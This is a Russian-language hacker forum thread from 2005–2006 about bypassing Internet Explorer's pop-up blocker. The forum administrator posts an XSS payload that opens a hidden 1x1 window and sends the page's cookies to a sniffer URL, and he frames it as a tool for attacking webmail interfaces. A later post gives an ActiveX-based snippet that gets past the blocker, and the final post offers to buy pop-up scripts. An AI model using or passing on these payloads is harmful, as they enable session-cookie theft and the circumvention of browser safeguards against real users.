Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

01.04.2005, 19:58
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Pop-up окна в IE
Щас существует способ открытия таких в Ie ?
|
|
|

01.04.2005, 20:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
Репутация:
|
|
Причем тут программирование?
HTML... javascript...
я непомню уже, не делал, но вроде чето типа javascript  opup() в инете есть по любому
|
|
|
|

01.04.2005, 20:10
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Сообщение от KEZ
Причем тут программирование?
HTML... javascript...
я непомню уже, не делал, но вроде чето типа javascript  opup() в инете есть по любому
я знаю как открыть такое окно(window.open), но речь о том как обойти блокировку в EI
А к программированию это относиться - потому что реализуется с помошью javascript
|
|
|

01.04.2005, 21:19
|
|
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме: 4618051
Репутация:
45
|
|
Хмм ... Смею предположить, что это тебе нужно для проведения xss на почтовых веб-фейсах ))
Попробуй например это (хотя оно заблокируется):
Код:
<font color="black" style=background-image:url(JavaScript:window.open('http://antichat.ru/cgi-bin/s.jpg?'+document.cookie,'name_popup','location,width=1,height=1,top=9999,left=9999,scrollbar=0')) size=1>text</font>
Этот пример открывает попап размерами 1*1 вне видимой зоны экраны и загружает урл сниффера + кукисы текущего документа ...
<оффтопик>
Система блокирования всплывающих окон работает по принципу блокирования метода open(), связанного с объектом window, если я не ошибаюсь ... А методов обхода я не вижу ...
Возможная идея - это загрузка файла *.js как картинки в документе ... Возможно, что тогда окно не будет блокировано, т.к. вызывается он через картинку ...
Это только догадка ...
</oффтопик>
|
|
|

01.04.2005, 22:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
Репутация:
|
|
Если уж они отключены то обойти нельзя...
|
|
|
|

01.04.2005, 22:38
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
догадка не оправдалась, в картинку такие файлы не грузятся 
а в Firefox такие окна блокируюься ?
|
|
|

02.04.2005, 00:24
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
 откопал в нете, но только в IE
Код HTML:
<html><body onload="setTimeout(' main() ',1000)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.mail.ru","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars=0,resizable=0,width=5,height=5,top=1,left=1");
showModelessDialog("http://www.mail.ru","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0;dialogLeft=900;dialogHide=0;help=0;status=0;resizable=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>
|
|
|

03.04.2005, 14:00
|
|
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме: 4618051
Репутация:
45
|
|
Сообщение от Майор
 откопал в нете, но только в IE
Код HTML:
<html><body onload="setTimeout(' main() ',1000)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.mail.ru","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars=0,resizable=0,width=5,height=5,top=1,left=1");
showModelessDialog("http://www.mail.ru","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0;dialogLeft=900;dialogHide=0;help=0;status=0;resizable=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>
Осёл скорее ActiveX заблокирует ИМХО =))
|
|
|

28.10.2006, 03:59
|
|
Новичок
Регистрация: 14.10.2006
Сообщений: 27
Провел на форуме: 34342
Репутация:
0
|
|
Есть у кого еще JavaScript консольки для Pop-up и Pop-exit ?
Если консоль хорошая, могу купить. ICQ 402136
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|